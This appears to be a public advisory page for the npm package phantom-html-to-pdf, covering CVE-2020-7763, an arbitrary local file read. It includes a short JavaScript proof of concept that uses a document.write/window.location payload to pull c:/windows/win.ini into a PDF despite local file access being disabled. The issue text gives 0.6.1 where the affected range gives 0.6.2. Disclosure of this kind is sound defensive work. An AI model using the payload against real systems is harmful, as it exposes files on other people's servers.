Skip to content

← Public intelligence

npm package

phantom-html-to-pdf

Open actionable advisories and recorded vendor fixes. This public package view has no inventory attached and cannot establish whether your deployment is affected. A vendor fix never resolves your finding; verify your installed version and the source guidance.

Open advisories

1 actionable advisory, newest first. Withdrawn advisories and news are excluded. Coverage is partial.

  1. High, CVSS 7.5npmPublished

    Arbitrary File Read in phantom-html-to-pdf

    CVE-2020-7763 · GHSA-6h7f-qwqm-35pp

    Affected
    • npm phantom-html-to-pdf < 0.6.2
    Fixed in
    0.6.2· Vendor fix available
    Issue
    This affects the package phantom-html-to-pdf before 0.6.1. PoC ```js var fs = require('fs') var conversion = require("phantom-html-to-pdf")(); conversion.allowLocalFilesAccess = false conversion({ html: "document.write(window.location='c:/windows/win.ini')" }, function(err, pdf) { var output = fs.createWriteStream('output.pdf') console.log(pdf.logs); console.log(pdf.numberOfPages); pdf.stream.pipe(output); }); ```

    Recommended action: Upgrade to 0.6.2 or later, then redeploy and verify.A vendor fix does not resolve your finding until you verify it in your own systems.

    Sources:osv.devSource checked Evidence →